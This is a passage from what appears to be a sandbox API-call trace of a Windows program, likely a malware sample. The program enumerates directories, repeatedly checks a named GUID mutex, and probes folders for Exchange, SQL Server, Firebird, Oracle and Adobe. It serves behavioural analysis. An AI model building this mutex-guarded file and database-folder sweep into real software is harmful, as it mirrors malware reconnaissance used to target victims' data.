dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0055.330] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0055.330] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0055.330] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.330] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.331] GlobalUnlock (hMem=0x440004) returned 0 [0055.331] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.331] GlobalLock (hMem=0x44000c) returned 0x557b88 [0055.331] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.331] GlobalUnlock (hMem=0x440004) returned 0 [0055.331] GlobalHandle (pMem=0x557b88) returned 0x44000c [0055.331] GlobalUnlock (hMem=0x44000c) returned 0 [0055.331] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.331] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.331] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0055.331] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0055.331] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.331] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.331] GlobalUnlock (hMem=0x44000c) returned 0 [0055.331] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.331] GlobalLock (hMem=0x440004) returned 0x557b88 [0055.331] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.331] GlobalUnlock (hMem=0x44000c) returned 0 [0055.331] GlobalHandle (pMem=0x557b88) returned 0x440004 [0055.331] GlobalUnlock (hMem=0x440004) returned 0 [0055.331] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.331] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1574f00, ftCreationTime.dwHighDateTime=0x1be23e3, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1574f00, ftLastWriteTime.dwHighDateTime=0x1be23e3, nFileSizeHigh=0x0, nFileSizeLow=0x51a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="FM20.CHM", cAlternateFileName="")) returned 1 [0055.331] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0055.331] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0055.331] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.331] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.331] GlobalUnlock (hMem=0x440004) returned 0 [0055.331] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.332] GlobalLock (hMem=0x44000c) returned 0x557b88 [0055.332] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.332] GlobalUnlock (hMem=0x440004) returned 0 [0055.332] GlobalHandle (pMem=0x557b88) returned 0x44000c [0055.332] GlobalUnlock (hMem=0x44000c) returned 0 [0055.332] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.332] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edd8500, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6edd8500, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1ac96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBCN6.CHM", cAlternateFileName="")) returned 1 [0055.332] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0055.332] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0055.332] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.332] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.332] GlobalUnlock (hMem=0x44000c) returned 0 [0055.332] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.332] GlobalLock (hMem=0x440004) returned 0x557b88 [0055.332] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.332] GlobalUnlock (hMem=0x44000c) returned 0 [0055.332] GlobalHandle (pMem=0x557b88) returned 0x440004 [0055.332] GlobalUnlock (hMem=0x440004) returned 0 [0055.332] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.332] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f2be900, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f2be900, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x25d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7INTL.DLL", cAlternateFileName="")) returned 1 [0055.332] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0055.332] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0055.332] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.332] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.332] GlobalUnlock (hMem=0x440004) returned 0 [0055.332] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.332] GlobalLock (hMem=0x44000c) returned 0x557b88 [0055.333] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.333] GlobalUnlock (hMem=0x440004) returned 0 [0055.333] GlobalHandle (pMem=0x557b88) returned 0x44000c [0055.333] GlobalUnlock (hMem=0x44000c) returned 0 [0055.333] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.333] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d2ba100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7d2ba100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1195f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBENDF98.CHM", cAlternateFileName="")) returned 1 [0055.333] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0055.333] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0055.333] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.333] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.333] GlobalUnlock (hMem=0x44000c) returned 0 [0055.333] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.333] GlobalLock (hMem=0x440004) returned 0x557b88 [0055.333] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.333] GlobalUnlock (hMem=0x44000c) returned 0 [0055.333] GlobalHandle (pMem=0x557b88) returned 0x440004 [0055.333] GlobalUnlock (hMem=0x440004) returned 0 [0055.333] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.333] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8583dc00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8583dc00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe2aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBHW6.CHM", cAlternateFileName="")) returned 1 [0055.333] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0055.333] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0055.333] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.333] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.333] GlobalUnlock (hMem=0x440004) returned 0 [0055.333] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.333] GlobalLock (hMem=0x44000c) returned 0x557b88 [0055.334] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.334] GlobalUnlock (hMem=0x440004) returned 0 [0055.334] GlobalHandle (pMem=0x557b88) returned 0x44000c [0055.334] GlobalUnlock (hMem=0x44000c) returned 0 [0055.334] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.334] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x903e7100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x903e7100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe6b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBLR6.CHM", cAlternateFileName="")) returned 1 [0055.334] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0055.334] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0055.334] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.334] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.334] GlobalUnlock (hMem=0x44000c) returned 0 [0055.334] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.334] GlobalLock (hMem=0x440004) returned 0x557b88 [0055.334] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.334] GlobalUnlock (hMem=0x44000c) returned 0 [0055.334] GlobalHandle (pMem=0x557b88) returned 0x440004 [0055.334] GlobalUnlock (hMem=0x440004) returned 0 [0055.334] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.334] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9896ac00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9896ac00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1e434, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBOB6.CHM", cAlternateFileName="")) returned 1 [0055.334] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0055.334] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0055.334] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.334] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.334] GlobalUnlock (hMem=0x440004) returned 0 [0055.334] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.334] GlobalLock (hMem=0x44000c) returned 0x557b88 [0055.334] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.334] GlobalUnlock (hMem=0x440004) returned 0 [0055.335] GlobalHandle (pMem=0x557b88) returned 0x44000c [0055.335] GlobalUnlock (hMem=0x44000c) returned 0 [0055.335] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.335] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 1 [0055.335] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0055.335] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0055.335] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.335] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.335] GlobalUnlock (hMem=0x44000c) returned 0 [0055.335] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.335] GlobalLock (hMem=0x440004) returned 0x557b88 [0055.335] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.335] GlobalUnlock (hMem=0x44000c) returned 0 [0055.335] GlobalHandle (pMem=0x557b88) returned 0x440004 [0055.335] GlobalUnlock (hMem=0x440004) returned 0 [0055.335] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.335] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 0 [0055.335] GetLastError () returned 0x12 [0055.335] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0055.336] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0055.336] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0055.336] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.336] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.336] GlobalUnlock (hMem=0x440004) returned 0 [0055.336] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.336] GlobalLock (hMem=0x44000c) returned 0x557b88 [0055.336] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.336] GlobalUnlock (hMem=0x440004) returned 0 [0055.336] GlobalHandle (pMem=0x557b88) returned 0x44000c [0055.336] GlobalUnlock (hMem=0x44000c) returned 0 [0055.336] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.336] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 0 [0055.337] GetLastError () returned 0x12 [0055.337] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0055.337] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0055.337] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0055.337] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0055.337] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.337] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.337] GlobalUnlock (hMem=0x44000c) returned 0 [0055.337] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.337] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.337] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.337] GlobalUnlock (hMem=0x44000c) returned 0 [0055.337] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.337] GlobalUnlock (hMem=0x440004) returned 0 [0055.337] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.337] GlobalLock (hMem=0x440004) returned 0x550170 [0055.337] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.337] GlobalUnlock (hMem=0x440004) returned 0 [0055.337] GlobalLock (hMem=0x440004) returned 0x550170 [0055.337] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.338] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.338] GlobalUnlock (hMem=0x440004) returned 0 [0055.338] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.338] GlobalUnlock (hMem=0x44000c) returned 0 [0055.338] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.338] SysReAllocStringLen (in: pbstr=0x18f104*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\VC", len=0x31 | out: pbstr=0x18f104*="C:\\Program Files\\Common Files\\Microsoft Shared\\VC") returned 1 [0055.338] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.338] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.338] GlobalUnlock (hMem=0x44000c) returned 0 [0055.338] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.338] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.338] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.338] GlobalUnlock (hMem=0x44000c) returned 0 [0055.338] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.338] GlobalUnlock (hMem=0x440004) returned 0 [0055.338] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\Microsoft\\Exchange Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@聜R耰R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0055.341] GetLastError () returned 0x3 [0055.341] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vc\\") returned 0x32 [0055.341] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0055.341] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\Microsoft SQL Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@翌R企@\x18㿬Q\x181")) returned 0xffffffff [0055.341] GetLastError () returned 0x2 [0055.341] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vc\\") returned 0x32 [0055.341] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0055.341] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\Firebird", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@儔R企@\x18?T\x18;")) returned 0xffffffff [0055.342] GetLastError () returned 0x2 [0055.342] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vc\\") returned 0x32 [0055.342] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0055.342] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\MSSQL.1", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@℔R企@\x18?T\x18D")) returned 0xffffffff [0055.342] GetLastError () returned 0x2 [0055.342] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vc\\") returned 0x32 [0055.342] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0055.342] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@翌R企@\x18儔R\x18j")) returned 0xffffffff [0055.342] GetLastError () returned 0x2 [0055.342] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vc\\") returned 0x32 [0055.342] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵?\x18") returned 37 [0055.342] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\Adobe", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@℔R企@\x18?T\x18q")) returned 0xffffffff [0055.343] GetLastError () returned 0x2 [0055.343] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\", cchLength=0x32 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vc\\") returned 0x32 [0055.343] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="adobe\\儐RP") returned 6 [0055.343] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\Oracle", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@婴U企@\x18?T\x18y")) returned 0xffffffff 